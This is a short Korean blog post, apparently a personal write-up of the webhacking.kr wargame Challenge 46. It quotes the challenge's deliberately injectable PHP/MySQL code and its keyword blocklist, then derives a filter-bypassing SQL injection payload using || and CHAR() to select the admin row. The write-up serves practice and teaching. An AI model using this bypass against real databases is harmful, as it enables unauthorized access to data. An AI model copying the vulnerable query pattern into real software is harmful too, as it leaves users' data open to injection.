늘모자란, 개발 :: [webhacking.kr] Challenge 46

늘모자란, 개발



레벨이 있다..
.
..

<html>
<head>
<title>Challenge 46</title>
</head>
<body>
<form method=get action=index.php>
level : <input name=lv value=1><input type=submit>
</form>
<?
if(time()<1256900400) exit();

?>
<!-- index.phps -->
<?

$_GET[lv]=str_replace(" ","",$_GET[lv]);
$_GET[lv]=str_replace("/","",$_GET[lv]);
$_GET[lv]=str_replace("*","",$_GET[lv]);
$_GET[lv]=str_replace("%","",$_GET[lv]);

if(eregi("union",$_GET[lv])) exit();
if(eregi("select",$_GET[lv])) exit();
if(eregi("from",$_GET[lv])) exit();
if(eregi("challenge",$_GET[lv])) exit();
if(eregi("0x",$_GET[lv])) exit();
if(eregi("limit",$_GET[lv])) exit();
if(eregi("cash",$_GET[lv])) exit();

$q=@mysql_fetch_array(mysql_query("select id,cash from members where lv=$_GET[lv]"));

if($q && $_GET[lv])
{
echo("$q[0] information<br><br>money : $q[1]");

if($q[0]=="admin") @solve();

}
?>

</body>
</html>


일단 눈에 띄는건 0x를 쓸수가 없다. hex match를 할 수 없다는 말 같다.
다행히 "는 쓸 수 있는것 같고. 그럼 여태까지 해왔던게 있으니 쿼리를 만들어보자.

row 에 1이 있으니까 lv에 1을 주면 안되고 false로 만든다.
그리고 공백을 적을 수가 없으니까 일반 OR을 적어도 안되니 || 를 쓴다.
id=admin은 적어줘야 할 것 같은데 왠지 필터링이 된다. CHAR을 사용해보자.
종합하면

2||id=CHAR(97,100,109,105,110)


끝!



2016/04/02 14:05 2016/04/02 14:05